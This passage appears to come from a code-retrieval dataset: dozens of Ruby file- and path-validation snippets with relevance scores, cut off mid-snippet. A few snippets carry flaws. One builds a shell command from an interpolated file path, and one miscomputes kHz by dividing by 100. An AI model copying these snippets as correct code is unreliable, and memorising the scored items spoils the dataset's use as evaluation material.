#{whitespace_led_component}\"\n end\n\n if (forbidden_substrings = FORBIDDEN_SUBSTRINGS.select { |fss| path.to_s.include?(fss) }).any?\n @errors << \"path contains invalid character(s): #{forbidden_substrings.join(\" \")}\"\n end\n\n if format == \"FLAC\"\n _stdout, stderr, status = Open3.capture3(\"flac -wt \\\"#{path}\\\"\")\n\n unless status.success?\n error_line = stderr.split(\"\\n\")\n .find { |line| line.include?(File.basename(path)) }\n\n @errors << if error_line\n \"failed flac verification test: #{error_line}\"\n else\n \"failed flac verification test\"\n end\n end\n end\n\n if (bit_depth && ![16, 24].include?(bit_depth))\n @errors << \"#{bit_depth} is an invalid bit depth\"\n elsif !bit_depth && format == \"FLAC\"\n @errors << \"unable to determine bit depth\"\n end\n\n if sample_rate.nil?\n @errors << \"unable to determine sample rate\"\n else\n case bit_depth\n when 16\n unless [44_100, 48_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a 16-bit lossless file\"\n end\n when 24\n unless [44_100, 88_200, 176_400, 352_800, 48_000, 96_000, 192_000, 384_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a 24-bit lossless file\"\n end\n when nil # will happen for Lossy formats\n unless [44_100, 48_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a lossy file format\"\n end\n end\n end\n\n @checked_for_errors = true\n\n @errors\n end", "def validate!(args)\n [:base, :overlay, :target].each do |required|\n unless(args[required])\n raise ArgumentError.new \"Missing required argument: #{required}\"\n end\n unless(File.directory?(args[required]))\n raise TypeError.new \"Provided argument is not a valid directory for #{required}: #{args[required]}\"\n end\n end\n true\n end", "def file_date_valid?(file)\n dt = file.split('_').first\n return false if dt.length != 12\n\n begin\n Time.parse(dt)\n rescue StandardError\n return false\n end\n\n true\n end", "def validate_file(file)\n end", "def validate_file(filename)\n return true\nend", "def validate\n @files.each {|fn| check_file fn}\n end", "def cd_into_test?\n !File.exist?(\"app\") && File.exist?(\"test\") &&\n (File.exist?(\"main.tf\") || File.exist?(\"main.rb\"))\n end", "def has_valid_game_path?\n return File.exists?(game_path)\n end", "def in_path?\n config.paths.any? do |path_spec|\n path_spec === file\n end\n end", "def validateRequiredFiles()\n @sampleSheet = @baseCallsDir + \"/SampleSheet.csv\" \n\n if !File.exist?(@sampleSheet)\n raise \"Missing SampleSheet.csv in directory: \" + @baseCallsDir\n end\n end", "def validateRequiredFiles()\n @sampleSheet = @baseCallsDir + \"/SampleSheet.csv\" \n\n if !File.exist?(@sampleSheet)\n raise \"Missing SampleSheet.csv in directory: \" + @baseCallsDir\n end\n end", "def validate_file_patterns\n attributes = DSL.attributes.values.select(&:file_patterns?)\n attributes.each do |attrb|\n patterns = consumer.send(attrb.name)\n if patterns.is_a?(Hash)\n patterns = patterns.values.flatten(1)\n end\n patterns.each do |pattern|\n if pattern.start_with?('/')\n error \"File patterns must be relative and cannot start with a \" \\\n \"slash (#{attrb.name}).\"\n end\n end\n end\n end", "def valid_path?(path)\n # Maximum length\n return false if path.length > 255\n # Valid characters allowed\n ch = /[A-Za-z0-9_\\-.$\\/~\"'@:+]*/\n # Require leading slash, maximum one wildcard allowed at start or end\n !!path.match(/^\\/( \\*#{ch} | #{ch}\\* | #{ch} )$/x)\nend", "def assert_file_exists(path)\n assert File.exist?(\"#{path}\"), \"The file '#{path}' should exist\"\n end", "def assert_file_exists(path)\n assert File.exists?(\"#{APP_ROOT}/#{path}\"),\"The file '#{path}' should exist\"\n end", "def validateTestHost(tH)\n\treturn tH if File.exists?(\"#{tH}.rb\")\n\traise ArgumentError, \"Invalid TestHost '#{tH}'.\"\nend", "def paths?\n !paths.empty?\n end", "def valid_elf_file?(path)\n # A light-weight way to check if is a valid ELF file\n # Checks at least one phdr should present.\n File.open(path) { |f| ELFTools::ELFFile.new(f).each_segments.first }\n true\n rescue ELFTools::ELFError\n false\n end", "def check_args(args)\r\n args.count == 1\r\n File.exist?(ARGV[0].to_s)\r\nrescue StandardError\r\n false\r\nend", "def verify\n all_assets.each do |asset|\n raise AssetNotFound.new(\"File #{asset} DOEST EXIST\") unless FileTest.exist?(asset.abs)\n end\n end", "def validate_file_patterns\n attributes = DSL.attributes.values.select(&:file_patterns?)\n attributes.each do |attrb|\n patterns = consumer.send(attrb.name)\n if patterns.is_a?(Hash)\n patterns = patterns.values.flatten(1)\n end\n patterns.each do |pattern|\n if pattern.start_with?('/')\n error '[File Patterns] File patterns must be relative ' \\\n \"and cannot start with a slash (#{attrb.name}).\"\n end\n end\n end\n end", "def test_invalid_doi\n File.foreach File.dirname(__FILE__) + '/fixtures/bad-doi.txt' do |doi|\n refute SimpleDOI.valid?(doi), \"#{doi} should not be considered a valid DOI\"\n end\n end", "def validate_path_list(config, *keys)\n hash = retrieve_value(config, keys)\n list = hash[:value]\n\n # return early if we couldn't walk into hash and find a value\n return false if (list.nil?)\n\n path_list = []\n exist = true\n\n case list\n when String then path_list << list\n when Array then path_list = list\n end\n\n path_list.each do |path|\n base_path = FilePathUtils::extract_path(path) # lop off add/subtract notation & glob specifiers\n\n if (not @file_wrapper.exist?(base_path))\n # no verbosity checking since this is lowest level anyhow & verbosity checking depends on configurator\n @stream_wrapper.stderr_puts(\"ERROR: Config path #{format_key_sequence(keys, hash[:depth])}['#{base_path}'] does not exist on disk.\")\n exist = false\n end\n end\n\n return exist\n end", "def clean(paths)\n paths.uniq!\n paths.compact!\n populate_test_files\n paths = paths.select { |p| test_file?(p) }\n clear_tests_files_list\n paths\n end", "def valid_path?(pathname)\n # directory\n return false if pathname.directory?\n\n # overreaching AWS globbing\n return false if !destination_dir.to_s.empty? && !(pathname.to_s =~ /^#{destination_dir.to_s}\\//)\n\n true\n end", "def check_file_extname(path, extnames)\n case extnames\n when Array\n raise \"Extension is not #{extnames}: #{path}\" unless extnames.include?(File.extname(path))\n when File.extname(path)\n true\n else\n raise \"Extension is not #{extnames}: #{path}\"\n end\n end", "def sanity_checks_on_parameters()\n # Check that all necessary properties are here.\n raise(\"Properties file must contain a value for 'source_dir'\") if @source_dir == nil\n raise(\"Properties file must contain a value for 'known_exceptions'\") if @known_exceptions_file == nil\n raise(\"Properties file must contain a value for 'skip_directories'\") if @skip_directories_list == nil\n raise(\"Properties file must contain a value for 'file_matchers'\") if @file_match_list == nil\n raise(\"Properties file must contain a value for 'report_level'\") if @report_level_string == nil\n\n if !File.exist?(@source_dir)\n raise \"Source directory does not exist: #{@source_dir}\"\n end\n\n if !File.exist?(@known_exceptions_file)\n raise \"Known exceptions file does not exist: #{@known_exceptions_file}\"\n end\n end", "def assert_path!(path)\n return unless path\n\n unless File.exist?(path)\n raise \"File doesn't exist: #{path}\"\n end\n end", "def test_file\n\t\traise Store::Error, \"Error: file #{@file} does not exist\" unless is_up?\n\tend", "def valid?\n App.valid?(path)\n end", "def valid_file?(file)\n case file\n when 'exclude.exclude', 'include.include',\n 'include_exclude.exclude', 'include_exclude.include',\n 'env_exclude.env.exclude', 'env_include.env.include',\n 'include_env_exclude.include', 'include_env_exclude.env.exclude',\n 'include_exclude_env_include.exclude',\n 'include_exclude_env_exclude.include',\n 'include_env_include_env_exclude.env.exclude',\n 'exclude_env_include.exclude',\n 'exclude_env_include.env.include',\n /^include_env_include\\..*include$/,\n /^include_exclude_env_include\\..*include$/,\n /^include_exclude_env_exclude\\..*exclude$/,\n /^include_env_include_env_exclude\\..*include$/,\n /^exclude_env_exclude\\..*exclude$/,\n /^env_include_env_exclude\\.env\\./,\n /^exclude_env_include_env_exclude\\.(env\\.|exclude$)/,\n /^include_exclude_env_include_env_exclude\\./,\n /^env_symbol\\..*include$/\n return true\n when /^default\\./, /^exclude\\./, /^include\\./,\n /^env_exclude\\./, /^env_include\\./, /^include_env_include\\./,\n /^include_env_exclude\\./, /^include_exclude_env_include\\./,\n /^include_exclude_env_exclude\\./, /^exclude_env_include\\./,\n /^include_env_include_env_exclude\\./, /^exclude_env_exclude\\./,\n /^env_include_env_exclude\\./, /^exclude_env_include_env_exclude/,\n /^env_symbol\\./\n return false\n end\n\n # Raise an error if the file was not handled by existing logic.\n raise \"Invalid file (#{file}) specified in #{__method__}.\"\n end", "def valid?\n # is it a valid pattern (i.e. does not contain funny characters)? @TODO\n # all characters are valid, except for the /, directory limiter., files cannot start with a dot (hidden files)\n # is the file a web-savvy image?\n valid_types = ['image/jpeg', 'image/png', 'image/gif']\n return false unless valid_types.include? @entry.metadata.mime_type\n # does the file have thumbnails?\n return false unless @entry.metadata.thumb_exists\n # is the file not the special, reserved thumb.*? (see thumb_for_dir)\n # @TODO: return false if basename.match /^thumb\\.[A-z]*$/\n return true\n end", "def check_file_exist(path)\n raise \"Cannot find: #{path}\" unless File.exist?(path)\n end", "def valid_path?(path)\n validations = []\n if @opts[:filter]\n validations << (path =~ @opts[:filter])\n end\n if @opts[:ignore]\n validations << (path !~ @opts[:ignore])\n end\n\n validations.all?\n end", "def falls_in_test_dir?\n %w[spec specs test tests].any? { |dir| File.expand_path(@file_directory).start_with?(\"#{root_dir}/#{dir}\") }\n end", "def is_globed_path_valid(globed_path)\n # UTF-8 - keep only files with names in\n return true if @non_utf8_paths[globed_path]\n check_utf_8_encoding_file = globed_path.clone\n unless check_utf_8_encoding_file.force_encoding(\"UTF-8\").valid_encoding?\n Log.warning(\"Non UTF-8 file name '#{check_utf_8_encoding_file}', skipping.\")\n @non_utf8_paths[globed_path] = true\n # TODO(bbfsdev): Remove line below and redundant clones of string after\n # those lines are not a GC problem.\n check_utf_8_encoding_file = nil\n return false\n end\n\n true\n end", "def validate_inputs(inputs, ext)\n # Convert any extension to an array of symbols\n ext = ext.split(',') if ext.is_a? String\n ext = [ext] unless ext.is_a? Array\n ext = ext.map(&:to_sym)\n\n # Using full path\n inputs = inputs.map do |input|\n File.expand_path(input)\n end\n\n # Keeping only if exists and match the valid types\n inputs = inputs.select do |input|\n next false unless File.exist?(input)\n\n should_keep = false\n ext.each do |extension|\n should_keep = true if send(\"#{extension}?\", input)\n end\n\n should_keep\n end\n\n inputs\n end", "def test_invalid_file_correct_args_length\n assert_output(\"File not found!\\n\") {@grapher.make_graph(['hi.txt'])}\n end", "def valid_dir?(path)\n case path\n when %r|/no_repo/.hg$|, /\\.bad$/, %r|/\\w+_bad_path/path/\\w+$|\n return false\n end\n return true\n end", "def verify_required_data_files!\n unless File.exists?(\"#{@working_directory}/drupal-filesystem.tar.gz\") && File.exists?(\"#{@working_directory}/drupal-db.sql.gz\")\n raise StandardError.new(\"Cannot locate both 'drupal-filesystem.tar.gz' and 'drupal-db.sql.gz' in directory '#{@working_directory}'.\")\n end\n end", "def files_match?\n @fixture.files == @local.files\n end", "def test_nonexistant_files_do_not_exist\n t = Crd::Target.new BAD\n assert_equal( false, t.exists? )\n end", "def good?\n @bad_files.nil? || @bad_files.empty?\n end", "def validate_file( file, allowed_files = [] )\n # `../` on its own is not allowed:\n return 1 if '../' == file\n\n # More than one occurence of `../` is not allowed:\n return 1 if file.scan(/\\.\\.\\//).length > 1\n\n # `../` which does not occur at the end of the path is not allowed:\n return 1 if file.end_with?('../')\n\n # Files not in the allowed file list are not allowed:\n return 3 if !allowed_files.blank? && !allowed_files.include?(file)\n\n # Absolute Windows drive paths are not allowed:\n return 2 if file[1] == ':'\n\n 0\n end", "def valid_path? unit, path\n path.inject(@units[unit].location) do |p,c|\n return false unless adjacent?(p, c) && can_path_through(*c)\n c\n end\n true\n end", "def check_files\n @files.delete_if do |file|\n if File.exist? file then\n if File.readable? file then\n false\n else\n warn \"file '#{file}' not readable\"\n\n true\n end\n else\n warn \"file '#{file}' not found\"\n\n true\n end\n end\n end" ]
[ "0.70958656", "0.6820039", "0.66966206", "0.6581964", "0.6551448", "0.65437734", "0.65351826", "0.6528706", "0.64767516", "0.6473018", "0.6456283", "0.6391489", "0.6373879", "0.6336423", "0.63254166", "0.6311913", "0.6297002", "0.6291849", "0.629128", "0.62630975", "0.62516147", "0.6211192", "0.62027425", "0.6168715", "0.61472166", "0.6142699", "0.61288273", "0.61249506", "0.6118811", "0.6115323", "0.6045713", "0.60295206", "0.60211515", "0.601271", "0.6008023", "0.5963396", "0.59387785", "0.5936603", "0.5936435", "0.5931192", "0.59292966", "0.59214395", "0.58976275", "0.58939373", "0.5890115", "0.5884212", "0.58735394", "0.5872669", "0.58680385", "0.5860746", "0.58566386", "0.583793", "0.58306164", "0.58214235", "0.5812549", "0.58122295", "0.58041984", "0.58006656", "0.57993025", "0.5789568", "0.5780765", "0.57771456", "0.57749474", "0.5768292", "0.5768292", "0.57582563", "0.5749005", "0.5744347", "0.5734091", "0.57186407", "0.57136214", "0.57089305", "0.5708291", "0.57035863", "0.5688565", "0.5685615", "0.5682", "0.56757766", "0.5675625", "0.5672233", "0.56596273", "0.5654037", "0.56508595", "0.5646353", "0.5645613", "0.5629036", "0.5627866", "0.5627326", "0.5625875", "0.5616075", "0.5613157", "0.56124234", "0.5600298", "0.55887365", "0.55849475", "0.5582051", "0.5578272", "0.55648685", "0.5564586", "0.556325" ]
0.6956083
1
Scans the tests path and keeps a list of all tests paths. def tests_files Uses the current path for tests_path when unset.
def clear_tests_files_list @tests_files = nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_files\n files = tests\n files = files.map{ |f| Dir[f] }.flatten\n files = files.map{ |f| File.directory?(f) ? Dir[File.join(f, '**/*.rb')] : f }\n files = files.flatten.uniq\n files = files.map{ |f| File.expand_path(f) }\n files\n end", "def test_files\n get_folder_files(TESTS_PATH)\n end", "def build_tests_list\n if ! @test_list.nil?\n return @test_list\n end\n @test_list = []\n Find.find(@ruby_tests_location) do |path|\n if FileTest.directory?(path)\n if File.basename(path)[0] == \".\"\n Find.prune # ignore . .. and .svn\n else\n next\n end\n elsif File.extname(path) == \".test\"\n puts \"Processing: \" + path\n @test_list << path\n end\n end\n\n if @test_list.size == 0\n raise MissingRubyTestFiles, \"Can't find any rubySelenium tests in directory #{@ruby_tests_location}\"\n else\n return @test_list.sort!\n end\n end", "def test_files # :nodoc:\n # Handle the possibility that we have @test_suite_file but not\n # @test_files. This will happen when an old gem is loaded via\n # YAML.\n if defined? @test_suite_file\n @test_files = [@test_suite_file].flatten\n @test_suite_file = nil\n end\n if defined?(@test_files) and @test_files\n @test_files\n else\n @test_files = []\n end\n end", "def all_files\n Dir[@test_pattern].sort\n end", "def test_files\n code_files_in(tests_dir, CPP_EXTENSIONS)\n end", "def test_files\n Dir.open(TESTS_CODE) do |dir|\n dir.entries.grep(/^#{TEST_PREFIX}/)\n end\nend", "def test_cases\n @test_cases ||= Dir.glob(test_glob)\n end", "def test_list(path)\n if File.basename(path) =~ /^\\W/\n [] # skip .hiddens and such\n elsif File.directory?(path) then\n puts \"Looking for tests in #{path}\"\n Dir.entries(path).\n collect { |entry| test_list(File.join(path,entry)) }.\n flatten.\n compact\n elsif path =~ /\\.rb$/\n puts \"Found #{path}\"\n [path]\n #[path[/\\S+\\/(\\S+)$/,1]]\n end\nend", "def find_files dir = test_dir\n glob file_pattern(dir)\n end", "def local_suite_files\n base = File.join(config[:test_base_path], config[:suite_name])\n glob = File.join(base, '**/*_spec.rb')\n Dir.glob(glob).reject do |f|\n chef_data_dir?(base, f) || File.directory?(f)\n end\n end", "def local_suite_files\n base = File.join(config[:test_base_path], config[:suite_name])\n glob = File.join(base, '*/**/*')\n Dir.glob(glob).reject do |f|\n chef_data_dir?(base, f) || File.directory?(f)\n end\n end", "def local_suite_files\n base = File.join(config[:test_base_path], config[:suite_name])\n Util.safe_glob(base, \"*/**/*\").reject do |f|\n chef_data_dir?(base, f) || File.directory?(f)\n end\n end", "def sources\n @sources = Dir.glob(File.join(@test_cases_path,\"**\",\"*.txt\")).sort\n @sources\n end", "def tests_dir\n Pathname.new(path) + \"test\"\n end", "def test_cases\n @test_cases ||= Dir.glob(model.spec_dir + '**/**/?*Spec.as')\n end", "def spec_files\n glob_files(@root_dir, 'spec', '**/*_spec.rb')\n end", "def all_spec_files\n Dir['spec/**/*_spec.rb']\nend", "def all_spec_files\n Dir['spec/**/*_spec.rb']\nend", "def all_spec_files\n Dir['spec/**/*_spec.rb']\nend", "def all_spec_files\n Dir['spec/**/*_spec.rb']\nend", "def tests_names_building(tests_dir)\n dir = Pathname.new(tests_dir).realpath\n (Dir::entries(tests_dir) - ['.', '..']).sort!.collect! { |e| dir + e }\n end", "def testfiles(is_refresh = false)\n return @test_files if @test_files and not is_refresh\n return @test_files =[ name ] if name =~ /\\.xlw$/ # TO-DO implement better listing of xlw files\n @test_files, error_array = List.testfiles(self.name)\n error_array.each {|e| errors.add('Name:',e)}\n return @test_files\n end", "def get_tests file\n return [] if !file_exists? file\n contents = File.read(project_file(file))\n contents.scan(/test [\\'\\\"]([^\\'\\\"]+)[\\'\\\"] do/).flatten\n end", "def find_files()\n require 'find'\n directory = File.dirname(__FILE__) + '/../templates/' + @template\n @files = Array.new()\n Find.find(directory) do |f|\n if FileTest.file?f\n @files.push(f)\n end\n end\n @files\n end", "def test_files=(list)\n @test_files = list\n end", "def fallback_mode_test_files\n all_test_files_to_run\n end", "def files(root = '')\n files = []\n dir = @path.join(root)\n Dir.chdir(dir) do\n files = Dir.glob('**/*').select { |p| dir.join(p).file? }\n end\n end", "def expanded_file_list\n test_files = Rake::FileList[pattern].compact\n test_files += @test_files.to_a if @test_files\n test_files\n end", "def test_files=(files) # :nodoc:\n @test_files = Array files\n end", "def files() = files_path.glob('**/*')", "def files\n result = []\n @my_files.each do |f|\n result << f.fname if FileTest.file?(f.fname)\n end\n result\n end", "def traverse_files\n result = []\n paths = config[:paths].select { |p| File.exist?(p) }\n if paths.empty?\n log_warn \"search.paths #{config[:paths].inspect} do not exist\"\n return result\n end\n Find.find(*paths) do |path|\n is_dir = File.directory?(path)\n hidden = File.basename(path).start_with?('.')\n not_incl = config[:include] && !path_fnmatch_any?(path, config[:include])\n excl = path_fnmatch_any?(path, config[:exclude])\n if is_dir || hidden || not_incl || excl\n Find.prune if is_dir && (hidden || excl)\n else\n result << yield(path)\n end\n end\n result\n end", "def load(pattern=nil)\n tests = []\n\n # Find all tests in the tests directory\n Find.find @@conf.test_root do |path|\n # recurse into all subdirectories\n next if File.directory? path\n\n # filter tests by pattern if present\n if pattern\n next unless rel_path(path).match(pattern)\n end\n\n # ignore dotfiles\n next if File.basename(path).match(/^\\..*/)\n\n # ignore files in ignore filter\n next if ignored?(path)\n\n tests << Test.new(path)\n end\n\n return tests\n end", "def evaluation_with_tests_directory\n @tests_names = tests_names_building(@evaluation_value)\n end", "def find_files\n find_files_recursive(@build_result_dir, '')\n end", "def tests\n @tests ||= begin\n require \"m/test_collection\"\n require \"m/test_method\"\n # With each suite and array of tests,\n # and with each test method present in this test file,\n # shove a new test method into this collection.\n suites.each_with_object TestCollection.new do |(suite_class, test_methods), collection|\n test_methods.each do |test_method|\n collection << TestMethod.create(suite_class, test_method)\n end\n end\n end\n end", "def test_glob\n return @test_glob ||= File.join(path, test, '**', '?*Test.as')\n end", "def find_files\n @files = []\n\n Dir.foreach(configured_file_path) do |file_name|\n next if file_name == '.' || file_name == '..'\n next if file_name =~ /^\\./ && Ferver.configuration.serve_hidden == false\n\n found_file = FoundFile.new(configured_file_path, file_name)\n @files << found_file if found_file.valid?\n end\n end", "def start_tests(files)\n end", "def spec_file_names\n return @spec_file_names if @spec_file_names\n error \"No #{Noop::Config.dir_path_task_spec} directory!\" unless Noop::Config.dir_path_task_spec.directory?\n @spec_file_names = find_files(Noop::Config.dir_path_task_spec, Noop::Config.dir_path_task_spec) do |file|\n file.to_s.end_with? '_spec.rb'\n end\n end", "def files\n # list_of_filenames = Dir.entries(path)\n @list_of_filenames = Dir.glob(\"#{@path}/*.mp3\").collect! {|x| x.gsub(\"#{@path}/\", \"\") }\n # binding.pry\n end", "def files\n @files = Dir.entries(@path)\n @files.delete_if {|file| file == \".\" || file == \"..\"}\n end", "def files\n @files = []\n Find.find(@path) do |path|\n if File.directory? path\n if File.basename(path)[0] == ?.\n Find.prune # don't look any further into this directory.\n else\n next\n end\n else\n @files << path\n end\n end\n @files.size\n end", "def test_directories(suite)\n absolute_paths_for(\"spec/#{suite}\")\n end", "def all_spec_files\n 'spec/**/*_spec.rb'\nend", "def files\n @@files_array = Dir.entries(self.path).select {|f| !File.directory? f}\n end", "def log_files\n files = []\n Find.find(File.join(Dir.pwd, 'features', 'logs')) do |p|\n next if FileTest.directory? p\n files << p\n end\n files\nend", "def tests_for_file(filename)\n super.select { |f| @files.has_key? f }\n end", "def correction_with_tests_directory\n @tests_names.each do |t|\n correction_with_test(t)\n end\n end", "def mktestfiles(testdir)\n @@tmpfiles << testdir\n assert_nothing_raised {\n files = %w{a b c d e}.collect { |l|\n name = File.join(testdir, \"file#{l}\")\n File.open(name, \"w\") { |f|\n f.puts rand(100)\n }\n\n name\n }\n\n return files\n }\n end", "def setup_test_files\n project.test_sources.each do |src|\n compile_task objectsify(src), src\n end\n end", "def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)", "def files\n @files ||= preferred_sources([@path])\n end", "def files\n directory.files\n\n #@files ||= (\n # files = []\n # Dir.recurse(directory.to_s) do |path|\n # next if IGNORE_FILES.include?(File.basename(path))\n # files << path.sub(directory.to_s+'/','')\n # end\n # files.reject{ |f| File.match?(CONFIG_FILE) }\n #)\n end", "def base_files(path)\n Dir.glob(\"#{path}/*\").map do |f|\n TmpFile.new file: File.basename(f), path: path if File.file?(f)\n end.compact\n end", "def find_sauce_files(cwd=@opts[:basedir], depth=@opts[:search_depth], file_ext=@opts[:sauce_file_extension])\n files = []\n (0..depth).each do |i|\n prefix = \"*/\"*i\n files << Dir.glob(File.join(cwd, \"#{prefix}*#{file_ext}\"))\n end\n return files.flatten.uniq\n end", "def list_fs_files\n all_files = []\n current_user_role_names.each do |role_name|\n next unless Filesystem.test_dir role_name, self, :read\n\n p = path_for role_name: role_name\n # Don't use Regex - it breaks if there are special characters\n paths = Dir.glob(\"#{p}/**/*\").reject do |f|\n Pathname.new(f).directory?\n end\n\n all_files += paths.map { |f| f.sub(\"#{p}/\", '').sub(p, '') }\n end\n\n all_files.uniq\n end", "def all_config_files\n #files = Dir[File.join(path, \"_config.yml\")]\n files = Dir[File.join(path, \"_*.yml\")]\n return files\n end", "def files()\n\t\t\t\tlist = []\n\t\t\t\tdir = Dir.new( path() )\n\t\t\t\t\n\t\t\t\tdir.each do |f|\n\t\t\t\t\tnext if File.directory?( path() + \"/\" + f )\n\t\t\t\t\tnext unless ( f[/^([A-Z][A-Za-z]*)+\\.class\\.rb$/] == nil )\n\t\t\t\t\tlist << file( f )\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn list\n\t\t\tend", "def file_paths\n @file_paths ||= begin\n files = []\n each_file do |path|\n files << path\n end\n files\n end\n end", "def file_paths\n @file_paths ||= begin\n files = []\n each_file do |path|\n files << path\n end\n files\n end\n end", "def helper_files\n source_dir = File.join(Dir.pwd, \"lib/drydock/jobs\", helper_source_dir)\n if Dir.exists?(source_dir)\n Dir[source_dir + \"/*\"]\n else\n []\n end\n end", "def files\n @files ||= Dir.glob(File.join(@root, '**/*'), GLOB_FLAGS).select do |path|\n File.file?(path) && path !~ IGNORE_REGEX\n end\n end", "def find_bash_files!\n return if Bashcov.skip_uncovered\n\n Pathname.glob(\"#{Bashcov.root_directory}/**/*.sh\").each do |filename|\n @coverage[filename] = [] unless @coverage.include?(filename)\n end\n end", "def get_files\n if @options[:recursive]\n `find \"#{@srcdir}\" -name '*.#{@extension}'`.split(\"\\n\")\n else\n Dir.glob(\"#{@srcdir}/*.#{@extension}\")\n end\n end", "def files\n if !@files\n files = Dir.glob(\"#{working_dir}/*\").map {|f| f.split(working_dir)[1][1..-1]}\n files.delete config_file\n @files = files\n end\n return @files\n end", "def scan\n results = []\n dirs.each do |dir|\n files_in_dir = Dir.glob(File.join(dir,'**','*'))\n results.concat(files_in_dir)\n end\n @known_files = results\n end", "def files\n Dir[root_path(\"app\", \"**\", \"*.rb\")] + [@app_class.app_file]\n end", "def initialize\n #get a list of all folders, then get a list of all\n #test files for each folder\n @base_dir = __FILE__ + '../../../test/functional/'\n \n @func_areas = Hash.new\n test_dir = Dir.new(@base_dir)\n \n folders = test_dir.entries\n \n folders.each do |folder|\n \n if !File.basename(@base_dir + folder).index(\".\") \n if File.ftype(@base_dir + folder)== \"directory\"\n @func_areas[File.basename(folder)]= get_test_files_for_dir(folder)\n end\n end\n end\n end", "def files\n %x{\n find . -type f ! -path \"./.git/*\" ! -path \"./node_modules/*\"\n }.\n split(\"\\n\").\n map { |p| Pathname.new(p) }\n end", "def run\n test_files.each do |file|\n eval File.read(file)\n end\n\n results = []\n @tests.each_pair do |name, test|\n results << test.call(@config)\n end\n results.reject!(&:nil?)\n results.reject!(&:empty?)\n results.flatten!\n results\n end", "def test_files\n `touch ../harness/test/foo ../harness/test/bar`\n f = @td.files\n assert_equal(2, f.length)\n assert(f.find \"foo\")\n assert(f.find \"bar\")\n end", "def working_files\n files.map {|f| working_file f}\n end", "def helper_files\n glob = File.join(\"helpers\", \"*/**/*\")\n Util.safe_glob(config[:test_base_path], glob).reject { |f| File.directory?(f) }\n end", "def create_files\n tests.each do |test|\n FileUtils.mkdir(test.id.to_s) unless Dir.exist?(test.id.to_s) if test.option[:dir]\n files = []\n files << test.action.split('?').first\n files += test.option[:implicit]\n files << test.result_rdf if test.result_rdf\n files << test.result_json if test.result_json\n files.compact.select {|f| !File.exist?(f)}.each do |f|\n File.open(f, \"w\") {|io| io.puts( f.end_with?('.json') ? \"{}\" : \"\")}\n end\n end\n end", "def scan_dirs\n @scan_files = Array.new\n Dir.entries(@scan_dir).each do |scan|\n next if File.directory?(@scan_dir + '/' + scan)\n @scan_files << @scan_dir + '/' + scan\n end\n end", "def build_file_list\n puts_and_logs 'Finding files...'\n file_list = []\n config[:source].each do |entry|\n if File.directory?(entry)\n populate_list_of_files_from_directory(file_list, entry) \n next\n end\n if File.file?(entry)\n populate_list_of_files_from_file(file_list, entry) \n next\n end\n logger.warn \"\\\"#{entry}\\\" is neither a directory nor a regular file. Ignored...\"\n end\n logger.debug(file_list)\n file_list\n end", "def clean_tests\n puts \"Removing generated tests from '#{Settings[:test_dir]}'...\"\n Dir.foreach(Settings[:test_dir]) do |dir|\n path = Pathname.new(Settings[:test_dir]) + dir\n next if dir == '.' or dir == '..' or dir == 'support' or not path.directory?\n FileUtils.rm_rf(path)\n end\nend", "def test_file?(path)\n @tests_files.include?(path)\n end", "def list\n Dir.glob(\"#{@path}/**/*\").select{|path| File.file?(path) }.map do |path|\n path.sub Regexp.new(\"^#{@path}\\/\"), ''\n end\n end", "def clean(paths)\n paths.uniq!\n paths.compact!\n populate_test_files\n paths = paths.select { |p| test_file?(p) }\n clear_tests_files_list\n paths\n end", "def files\n file = Dir[self.path + \"/*\"]\n file.each do |file_name|\n file_name.slice!(self.path + \"/\")\n end\n file\n end", "def helper_files\n glob = File.join(config[:test_base_path], 'helpers', '*/**/*')\n Dir.glob(glob).reject { |f| File.directory?(f) }\n end", "def files\n @files.map do |file|\n if File.directory?(file)\n Dir[File.join(file, '**', '*.rb')]\n else\n file\n end\n end.flatten\n end", "def files_path\n File.expand_path(\"#{Config.project_root}/files\")\n end", "def files\n files_in_path.map do |file|\n TemplateFile.from_full_path(@path, file) unless File.directory?(file)\n end.compact\n end", "def test_extract(files=nil)\n output = 'test/embedded' # Don't think output should be setable.\n\n files = files || 'lib/**/*.rb'\n files = 'lib/**/*.rb' if TrueClass == files\n files = [files].flatten.compact\n\n filelist = files.collect{ |f| Dir.glob(f) }\n filelist.flatten!\n if filelist.empty?\n puts \"No scripts found from which to extract tests.\"\n return\n end\n\n FileUtils.mkdir_p(output) unless File.directory?(output)\n\n #vrunner = VerbosityRunner.new(\"Extracting\", verbosity?)\n #vrunner.setup(filelist.size)\n\n filelist.each do |file|\n #vrunner.prepare(file)\n\n testing = extract_test_from_file( file )\n if testing.strip.empty?\n status = \"[NONE]\"\n else\n complete_test = create_test(testing, file)\n libpath = File.dirname(file)\n testfile = \"test_\" + File.basename(file)\n fp = File.join(output, libpath, testfile)\n unless File.directory?( File.dirname(fp))\n FileUtils.mkdir_p(File.dirname(fp))\n end\n File.open(fp, \"w\"){ |fw| fw << complete_test }\n status = \"[TEST]\"\n end\n\n #vrunner.complete(file, status)\n end\n\n #vrunner.finish(\n # :normal => \"#{filelist.size} files had tests extracted.\",\n # :check => false\n #)\n end", "def run_through_directory\n@file_array = []\n Dir.foreach('text_files') do |item|\n next if item == '.' or item == '..'\n @file_array << item\n end\nend", "def list\n factory.system.list(@path).collect do |item|\n candidate = dir(item)\n if (not candidate.exists?)\n candidate = file(item)\n end\n candidate\n end\n end", "def helper_files\n glob = Dir.glob(File.join(test_folder, \"helpers\", \"*/**/*\"))\n glob.reject { |f| File.directory?(f) }\n end", "def before_load(test_files); end", "def files( env )\n return env[:files] if env.include? :files\n raise(ArgumentError, \"env hash must include either :files or :path\") unless env.include? :path\n\n file_glob = self.class.class_eval { @file_pattern } || '*'\n Dir.glob(File.join(env[:path], '**', file_glob))\n end", "def all_specs\n files_matching %r%^spec/.*_spec\\.rb$%\n end", "def paths\n tree_path = File.join(File.dirname(__FILE__), 'rails_tree')\n [\"\", \"multitest\", \"results\"].inject([tree_path]) do |result, suffix|\n result << File.join(result[-1], suffix)\n end[1..3]\n end", "def count_tests\n Dir.entries(@path.to_s + \"sandbox\").each do |currFile|\n isFile = currFile.to_s =~ 